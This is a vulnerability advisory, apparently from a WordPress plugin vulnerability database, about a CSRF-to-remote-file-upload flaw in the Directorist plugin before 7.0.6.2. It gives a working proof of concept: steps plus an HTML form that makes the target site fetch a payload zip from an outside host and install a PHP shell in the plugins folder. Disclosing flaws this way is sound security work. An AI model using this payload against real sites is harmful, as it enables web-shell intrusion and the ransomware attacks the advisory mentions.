WordPress Plugin Vulnerabilities
Directorist – Business Directory Plugin < 7.0.6.2 - CSRF to Remote File Upload
Description
The plugin was vulnerable to Cross-Site Request Forgery to Remote File Upload leading to arbitrary PHP shell uploads in the wp-content/plugins directory.
This vulnerability was seen actively exploited by Sucuri in the wild for ransomware attacks.
Proof of Concept
1. Authenticate as any user. 2. Paste below HTML into any page on any site. 3. Replace [target-site] with the target URL. 4. Repalce [site-with-payload-zip] with the URL hosting your zip file and submit the form. 5. Zip file contents will be extracted in plugins folder https://[target-site].com/wp-content/plugins/payload/shell.php <form action="https://[target-site].com/wp-admin/admin-ajax.php" method="post"> <input type="text" name="action" value="atbdp_download_file"><br> <input type="text" name="download_item[download_link]" value='https://[site-with-payload-zip].com/payload.zip'><br> <input type="text" name="download_item[skip_licencing]" value='true'><br> <input type="text" name="download_item[permalink]" value='true'><br> <input type="text" name="type" value="plugin"><br> <input type="submit" value="Submit"> </form>
Affects Plugins
References
Miscellaneous
Original Researcher
lostbytes1
Submitter
lostbytes1
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-11-16 (about 2 years ago)
Added
2021-11-18 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)